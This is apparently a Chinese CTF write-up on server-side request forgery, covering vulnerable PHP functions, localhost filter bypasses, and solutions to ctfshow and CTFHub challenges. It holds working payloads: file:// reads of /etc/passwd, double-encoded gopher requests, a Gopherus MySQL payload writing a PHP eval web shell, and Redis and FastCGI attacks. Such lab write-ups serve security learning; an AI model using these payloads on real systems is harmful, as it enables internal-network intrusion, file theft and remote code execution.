以题为例浅谈SSRF

什么是ssrf

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统);

我对于ssrf的理解就是:黑客想要去攻击一个网站,但却不好进行攻破,就找到它的服务器,从服务器上访问,得到想要的资源;

漏洞产生的函数

file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()

file_get_contents()

而用在这里,它在网址中具有从用户指定的url中获取内容,然后指定一个文件报存,并呈现给用户,在这里顺便也提一下file_put_content() 这两个函数在一些环境中还是经常使用的,它的作用就是将字符串写入一个文件中,这两个函数正好相反,一个是将文件中的字符串读出来,一个是将字符串写入文件中;

fsockopen()

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] ) :

hostname

如果安装了OpenSSL,那么你也许应该在你的主机名地址前面添加访问协议ssl://或者是tls://,从而可以使用基于TCP/IP协议的SSL或者TLS的客户端连接到远程主机。

port

端口号。如果对该参数传一个-1,则表示不使用端口,例如unix://

errno

如果传入了该参数,holds the system level error number that occurred in the system-level connect() call。

如果errno的返回值为0,而且这个函数的返回值为FALSE,那么这表明该错误发生在套接字连接(connect())调用之前,导致连接失败的原因最大的可能是初始化套接字的时候发生了错误。

errstr

错误信息将以字符串的信息返回。

timeout

设置连接的时限,单位为秒。

注意:如果你要对建立在套接字基础上的读写操作设置操作时间设置连接时限,请使用stream_set_timeout(),fsockopen()的连接时限(timeout)的参数仅仅在套接字连接的时候生效。

以上来自php中文网站:网络 函数 « PHP Manual | PHP 中文手册

curl_exec()

curl_exec()函数用于执行指定的cURL会话

示例代码

<?php 
if (isset($_POST['url'])){
    $link = $_POST['url'];
    $curlobj = curl_init();// 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
    $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
    curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

fopen()

对文件进行操作的函数

readfile()

利用漏洞常使用的协议

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

比较经常使用的协议我介绍一下,有些协议我遇到了在补充

file协议

常用于去访问flag文件和index.php主页文件

?url=file:///var/www/html/flag.php
?url=file:///var/www/html/index.php

dict://协议

目前还没怎么使用过,遇到在补充

gopher://协议

这个协议是ssrf中利用较多的,最强大的协议(俗称万能协议)

gopher://ip:port/_TCP/IP数据流

注意

  • gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行
  • 数据流末尾使用%0d%0a代表消息结束

在之后的题目会提及到

详细介绍这几个协议的呈上大佬的博客:SSRF漏洞原理攻击与防御(超详细总结)-CSDN博客

SSRF利用协议中的万金油——Gopher_ssrf的gopher://-CSDN博客

关于绕过

网址相关绕过

指向127.0.0.1的地址有如下地址

http://localhost/:localhost 代表127.0.0.1。
http://0/:0 在Windows中代表0.0.0.0,在Linux下代表127.0.0.1。
http://0.0.0.0/: 这个IP表示本机IPv4的所有地址。
http://[0:0:0:0:ffff:127.0.0.1]/:Linux 系统下可用,Windows系统下不可用
http://[::]:80/:Linux 系统下可用,Windows系统下不可用。
http://127 。0。0。1/:用中文句号绕过关键字检测。
http://①②⑦.①.①.①: 封闭式字母数字。
http://127.1/: 省略0。
http://127.000.000.001:1 和0的数量没影响,最终依然指向127.0.0.1。
url=http://sudo.cc/flag.php  //sudo.cc也可以指向127.0.0.1

http头相关绕过

httpsssss://

include()和file_get_contents()遇到不认识的文件头的时候就会将这个协议头当作文件夹从而造成目录穿越

如下面这个例子

// ssrf.php
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
die("no hack");
}
echo file_get_contents($_GET['url']);
?>

payload

ssrf.php?url=httpsssss://../../../../../../etc/passwd

还有一些关于函数的绕过这位大佬写的非常详细:CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结_ctf ssrf题型总结-CSDN博客

它在绕过中关于url的相关的写的非常的详细,可以看看

绕过总结

利用@

如:http://example@127.0.0.1

http://www.baidu.com@10.10.10.10和http://10.10.10.10请求时相同的

添加端口号

http://127.0.0.1:8080

利用短地址

http://dwz.cn/11SMa

ip地址进制转换

以192.168.109.150为例

首先,转换16进制:c0.a8.6d.96

接着,转换为八进制:300.250.155.226

即192.168.109.150=300250155226 访问:http://00300250155226

题目示例

多说无益,以题见真章

ctfshow web入门 ssrf

web351

打开题目看到源码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?> 

对url进行了一系列的curl相关的操作,但并没有过滤任何东西

直接post就行

payload

url=127.0.0.1/flag.php

web352

看源码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

比上一道题多了一个正则并且要求前缀是一个http或https,直接用0进行绕过,前面的绕过已经提及到了就不多说了;

payload

http://0/flag.php

web353

看源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

这道题又多加了一个过滤,过滤了.0,接着用.0.0.0.0进行绕过,上面的绕过已经写过了,在这里就不多说了;

payload

?url=http://0.0.0.0/flag.php

web354

源代码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这道题又多学了一种姿势,用sudo.cc指向127.0.0.1

payload

url=http://sudo.cc/flag.php

web355

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

限制了长度,绕过payload

http://0/flag.php

web356

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

还是限制了长度上一道题的payload仍然可以用;

web357

这道题留在后面,统一知识点进行解释

web358

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 

这道题要求以http开头以show结尾

payload

url=http://ctf.@127.0.0.1/flag.php?show

在这里介绍下parse_url()函数的利用

它是对于url的一个分解

举例代码

<?php
$url = 'http://ctf.@127.0.0.1/flag.php?show';
$x = parse_url($url);
var_dump($x);
?>

//运行结果:
array(5) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(9) "127.0.0.1"
  ["user"]=>
  string(4) "ctf."
  ["path"]=>
  string(9) "/flag.php"
  ["query"]=>
  string(4) "show"
}

后面两道题也是统一进行解释说明

靶场ctfhub

在ctfhub中对于ssrf的知识点有以下几种,

内网访问

给的提示:尝试访问位于127.0.0.1的flag.php吧

打开后直接去访问就可以得到flag了

payload

?url=127.0.0.1/flag.php

伪协议读取文件

直接用伪协议读取flag文件

?url=file://var/www/html/flag.php

记得访问之后要查看源码才能得到flag

端口扫描

给了提示:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

直接抓包,在端口处添加变量在8000到9000之间进行爆破,找到和其它字段数长度不一样的就可以得到flag了

用bp爆破

POST请求

这道题给的提示:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

打开之后什么都没有,去访问源码

?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php

查看后得到两段源码

index.php的源码

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

flag.php源码

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
	<input type="text" name="key">
	<!-- Debug: key=<?php echo $key;?>-->
</form>

这里需要利用gopher://协议,先介绍一下gopher://协议的一些基本情况

    Gopher协议没有默认端口,需要制定POST方法,回车换行使用%0d%0a,参数之间的分隔符也用URL编码,其他与HTTP协议类似。

在访问?url=127.0.0.1/flag.php时,它告诉我们需要从127.0.0.1中来访问,那就是从内网进行访问,内网进行访问需要gopher://协议,进行POST请求;

构造gopher://协议,进行请求;

需要构造以下payload

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=7a63523334ee824db18990ffc181d204

开始构造,有两种方法进行构造,第一种方法就是自己进行url编码,将上面这些内容进行两次url编码;在进行编码时需要注意以下方面

1.在使用gopher协议发送POST请求包时,Host,Content-Type和Content-Length请求头是必不可少的,但在GET请求中没有要求;

2.在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl时会进行第二次解码;所以我们要对请求包进行两次url编码;

3.在第一次编码后的数据中,将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节

这是编码之后的payload

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D51457bb0a50c1eb2c92dcc3ec3c2cc13

第二种方法就是用脚本

以下是借助大佬的脚本

import urllib.parse


payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=7a63523334ee824db18990ffc181d204
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

这个脚本运行结果和上面手动的结果一模一样

上传文件

看一下这道题的提示:这次需要上传一个文件到flag.php了.祝你好运

它需要上传一个flag.php文件,打开127.0.0.1/flag.php发现一个文件上传框,但只能选择文件不能上传文件,在源码中我们将文件上传框给补上,然后上传文件抓包,发现只有内网才能上传文件

我们构造post包进行传参

post包如下

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
 
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
 
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
 
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--

 我们可以使用Python脚本实现两次URL编码,第一次完成后需要将%0A修改为%0D%0A(也可以通过URL编码工具进行手动编码)

python脚本进行编码

import urllib.parse
 
payload = \
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--"""
 
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
# print(tmp)
new = tmp.replace('%0A','%0D%0A')
# print(new)
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

也可以自己进行url编码,这是自己手动编码的结果

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--

URL Bypass

那两个题和ctfshow web入门两道题一起说;

提示:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

打开题目,我们这个题可以用HTTP的基本身份验证绕过:

HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。

也就是http://www.xxx.com@www.yyy.com形式;

构造payload

?url=
http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass

看一下提示:这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

打开题目用上一道题的方式访问一下flag.php,看到它恢复的和提示一模一样,搬掉了127又想访问就用进制转换进行绕过,又学了一种绕过方式既然不能使用十进制的IP,那我们尝试将IP转换为十六进制

八进制:0177.000.000.001
十进制:127.0.0.1
十六进制:0x7f000001

构造payload获得flag

?url=
0x7f000001/flag.php

302跳转Bypass

看看题目的提示:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

老规矩用file协议查看?url=file:///var/www/html/flag.php,?url=file:///var/www/html/index.php

分别得到两个源码

flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    exit;
}

echo getenv("CTFHUB");

index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$url = $_REQUEST['url'];

if (preg_match("/127|172|10|192/", $url)) {
    exit("hacker! Ban Intranet IP");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

我们可以看到过滤了127,172,10,192;

但是没有限制localhost

直接payload

?url=
localhost/flag.php

另一种方法就是用自己的服务器进行跳转

#302.php
<?php 
header("Location:http://127.0.0.1/flag.php");

写一个文件写到自己的服务器上,然后访问

payload:?url=http://[公网IP]/302.php

实现302跳转

payload:?url=http://[公网IP]/302.php

这个放到最后解释一下这个题型

DNS重绑定 Bypass

打开题目查看题型:关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

rbndr.us dns rebinding service 这是DNS重定向的一个网站

这里解释一下DNS重定向,它也是一种绕过方式;

浅谈DNS重绑定漏洞 - 知乎 (zhihu.com) 这是那个附件,DNS重定向我的理解就是当用户访问一个域名,那么这个域名就会访问绑定的这个ip地址,当用户下次在去访问时浏览器就不会去检查会直接进行访问这个ip,而这个ip绑定的域名只有管理员能够修改

这个题就直接用DNS重定向进行绕过,老规矩利用file协议查看源码,这是index.php

1 <?php2
3 error_reporting(0);4
5 if (! isset($_REQUEST['ur1'])) {6
header("Location: /?ur1=_");
7
exit;
8 }
9
10 $ur1 = $_REQUEST['ur1'];11
12 if (preg_match("/127|172/10/192/",$ur1)) {13
exit("hacker! Ban Intranet IP");14 }
15
16 $ch = curl_init();
17 curl_setopt($ch,CURLOPT_URL,$ur1);18 curl_setopt($ch,CURLOPT_HEADER,O);19 curl_exec($ch);
20 curl_close($ch) ;21

flag.php就是告诉我们禁止了127.0.0.1这个ip

payload就是

?url=
7f000001.7f000002.rbndr.us/flag.php

ok,基本的知识就此完结,接下来开始介绍一些比较难搞的题目和知识

302跳转和301重定向

先介绍一下这两者的区别:

302跳转是暂时的,而301重定向是永久的,但在ssrf题中,使用这两者是没有区别的,我们会用一种就行,在这里我将用302跳转对这两道题进行解释

它也是ssrf的一种绕过方法,上面有两道题可以去进行302跳转

ctfshow 354

看一下源代码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

它过滤了1,0,localhost,我们可以使用我上面的方法进行绕过,也可以使用302跳转进行绕过,

在自己的服务器上写一个php文件,内容为

<?php
header("Location:http://127.0.0.1/flag.php");

然后去访问这个文件,但服务器的公网地址不能含有1和0,这就比较难实现了,所以需要找一个软件可以免费的提供域名才可以简单的去做这道题这个工具为cpolar官网-安全的内网穿透工具 | 无需公网ip | 远程访问 | 搭建网站

可以自行安装一下并调试一下去使用,然后用域名去跳转这个文件就可以得到flag

当然还有别的内网穿透工具,可以自行上网搜索;

另一道题也是同样做法

SSRF题的最后一点:Gopherus的使用

它是需要做无回显的SSRF题,下面以题为例,介绍一下这个软件

ctfshow web359

打开题目就是一个登录框,返回去看看提示:

打无密码的mysql

在kali系统或服务器上安装一下Gopherus

安装和使用命令

git clone https://github.com/tarunkant/Gopherus.git

python gopherus.py

安装之后一定要打开那个文件夹,再去启动这个命令

python2 .\gopherus.py --exploit mysql

然后按照提示写下如下内容

username:root
写入一句话木马
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/2.php';

然后一定要在次url编码,因为将 _ 下划线后面的内容再进行一次 url 编码(防止出现特殊字符,后端 curl 接收到参数后会默认解码一次)

我用在线工具编码没有成功,用php代码编码之后在上传之后才成功了

php代码如下

<?php
$str="%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01";
echo "gopher://127.0.0.1:3306/_".urlencode($str);

达到如下页面,之后在网址访问url/2.php然后执行命令

?cmd=system('ls /');
?cmd=system('cat /flag.txt')

flag就出来了

ctfshow web360

和上题差不多,但不知道是环境问题还是什么问题,我没有弄成功思路是正确的,这道题转了好久直接504;

在这里介绍一下什么是Redis服务

什么是Redis未授权访问?

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

简单说,漏洞的产生条件有以下两点:

redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
没有设置密码认证(一般为空),可以免密码远程登录redis服务

这段介绍来自这位大佬的博客:CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结_ctf ssrf题型总结-CSDN博客

如何测试Redis呢?

访问这个端口出现报错就是存在Redis

如何访问,以此题为例

就是这样去检测

这道题同样在Gopherus生成后在用那个脚本重新在url编码一次

还有ctfhub技能树上的

FastCGI协议

看一下提示:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

同样的手法:

python2 gopherus.py --exploit fastcgi

这样运行后两次编码

之后把ls哪里在改成cat /f*就行了,同样它的Redis协议和ctfshow上的Redis协议做法相同就不再重复说了

ssrf的学习先告一段落了,其后就是在比赛遇到题了在补充,如果还有什么题和方法我会直接补充到这个博客中,有用到的可以收藏一下;下一个学习ssti漏洞

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/457618.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

怎么避免电脑数据被拷贝?电脑如何禁用USB功能?

在无纸化办公的今天&#xff0c;很多重要数据都存放在电脑中。为了避免数据泄露&#xff0c;需要采用安全的方式保护电脑数据。那么&#xff0c;该如何避免电脑数据被拷贝呢&#xff1f;下面我们就来了解一下。 方法一&#xff1a;物理隔绝 物理隔绝是一种原始但有效的USB禁用…

数码管的动态显示(三)

1.原理 data_reg寄存&#xff0c;只寄存符号位和数据位不包含小数点位。 动态数码管每个显示1ms&#xff0c;所以计数到5*10^4-1 为了将sel和seg同步&#xff0c;把sel打了一拍。 6位都使用到了可以这么计算&#xff0c;6位都显示的是数据。或者最高位显示的是小数点&#xff…

ubuntu 下git常用指令【持续更新中】

1.下载 sudo apt install git 2. 查看版本 git --version3. 登录git账号 git config --global user.email "youexample.com" git config --global user.name "Your Name"4.生成密钥对 ssh-keygen -t rsa -C "your_emailyouremail.com"复制公…

鸿蒙Harmony应用开发—ArkTS声明式开发(容器组件:EffectComponent)

特效合并容器组件&#xff0c;用于子节点特效绘制的合并&#xff0c;实现特效的绘制性能优化。 说明&#xff1a; 该组件从API Version 10开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 该组件为系统接口。 目前该组件仅支持子组件背景…

LORA_ LOW-RANK ADAPTATION OF LARGE LANGUAGE MODELS

paper: https://arxiv.org/pdf/2106.09685.pdf code: https://github.com/microsoft/LoRA 摘要 作者提出了低秩自适应&#xff0c;或称LoRA&#xff0c;它冻结了预先训练的模型权值&#xff0c;并将可训练的秩分解矩阵注入变压器架构的每一层&#xff0c;大大减少了下游任务的…

接上一篇:分布式调用链追踪系统设计

所以必须得记录父子关系&#xff1a; A---->B 是 B---->C 的父调用 A---->D 是 D---->E 的父调用 A---->D 还是 D---->F 的父调用 如何记录呢&#xff1f;需要给每个调用分配一个ID (称为 SpanID)&#xff0c;并且把这个 ID 传递给子调用&#xff0c; 子…

网络基础 - 预备知识(协议、网络协议、网络传输流程、地址管理)

文章目录 1. 认识 协议2. 了解 网络协议2.1 引入 协议分层2.2 OSI 七层模型 与 TCP/IP 四层模型 3. 网络传输 流程&#xff01;&#xff01;&#xff01;3.1 网络传输流程图3.2 关于报头3.3 实例解释 传输过程&#xff08;封装与解包&#xff09; 4. 网络中的地址管理4.1 认识 …

使用Python批量实现在Excel里新加一列

目录 一、引言 二、所需库介绍 三、代码实现 四、批量处理多个Excel文件 五、注意事项与扩展 六、案例演示 七、总结与展望 一、引言 Excel作为广泛使用的电子表格软件&#xff0c;在数据处理和分析中扮演着重要角色。然而&#xff0c;当面对大量Excel文件需要批量处理…

Apache Paimon 的 CDC Ingestion 概述

CDC Ingestion 1&#xff09;概述 Paimon支持schema evolution将数据插入到Paimon表中&#xff0c;添加的列将实时同步到Paimon表&#xff0c;并且无需重启同步作业。 目前支持的同步方式如下&#xff1a; MySQL Synchronizing Table: 将MySQL中的一个或多个表同步到一个Pa…

win11系统qtcreator构建运行程序首次启动卡顿(win11首次启动应用程序卡顿)

首先可以参考一下这个博客&#xff1a;为什么win11系统开机后第一次打开一个软件很慢&#xff0c;关闭进程重新打开速度就正常了&#xff0c;该怎样解决呢&#xff1f; - 知乎 经过上述博客&#xff0c;但是我没有完全解决&#xff0c;这里说一下自己的方法&#xff1a; 打开任…

ArrayList 和 LinkedList 有什么区别?

1、典型回答 ArrayList 和 LinkedList 是 Java 中常用的集合类&#xff0c;它们都实现了 List 接口&#xff0c;如下图所示&#xff1a; 但二者有以下几点不同&#xff1a; 1、底层数据结构实现不同&#xff1a; ArrayList 底层使用数组实现&#xff0c;它通过一个可调整大小…

泽众云真机-机型支持ADB调试功能即将上线

最近云真机平台在线客服&#xff0c;收到很多咨询关于ADB调试功能&#xff0c;什么时候能更新&#xff1f;据小编所知&#xff0c;正在升级之中&#xff0c;有一块专门为了解决ADB调试功能提前准备&#xff0c;升级网络硬件设备&#xff0c;目前平台的功能已开发完成&#xff0…

Python Web开发记录 Day8:Django part2 部门管理

名人说&#xff1a;莫道桑榆晚&#xff0c;为霞尚满天。——刘禹锡&#xff08;刘梦得&#xff0c;诗豪&#xff09; 创作者&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 目录 1、部门列表2、模板的继承3、添加部门4、编辑部…

【Leetcode每日一刷】顺/逆时针旋转矩阵 |48. 旋转图像、矩阵的螺旋遍历 |54. 螺旋矩阵

一、48. 旋转图像 1.1&#xff1a;题目 48. 旋转图像 1.2&#xff1a;解题思路 题型&#xff1a;顺/逆时针旋转矩阵&#xff1b; ❗❗核心思想/ 关键&#xff1a;不可暴力模拟&#xff0c;先镜像&#xff0c;后水平翻转 这题的意思很简单&#xff0c;就是让我们把矩阵顺时…

解决内网环境预览ArcGIS地图服务

目录 背景分析解决思路操作步骤1、登录ArcGIS Server后台修改 2、将预览服务请求资源部署到内网①下载ArcGIS API for JavaScript 库②修改ArcGIS API for JavaScript 库③映射ArcGIS API for JavaScript 库④验证ArcGIS API for JavaScript 映射3、验证ArcGIS Server的服务 背…

unity3d Animal Controller的Animal组件中Speeds,States和modes基础部分理解

Speeds 速度集是修改你可以做的原始动画,增加或减少运动,旋转,或动画速度。它们与 州 所以,当动物在运动状态下,在飞行或游泳时,你可以有不同的速度 如果你的性格动画是 (已到位), 你一定要调整速度 位置 和 旋转 每一种的价值观 速度装置 …否则,它们不会移动或旋转。 每个速…

C#,图论与图算法,图着色问题(Graph Coloring)的威尔士-鲍威尔(Welch Powell Algorithm)算法与源代码

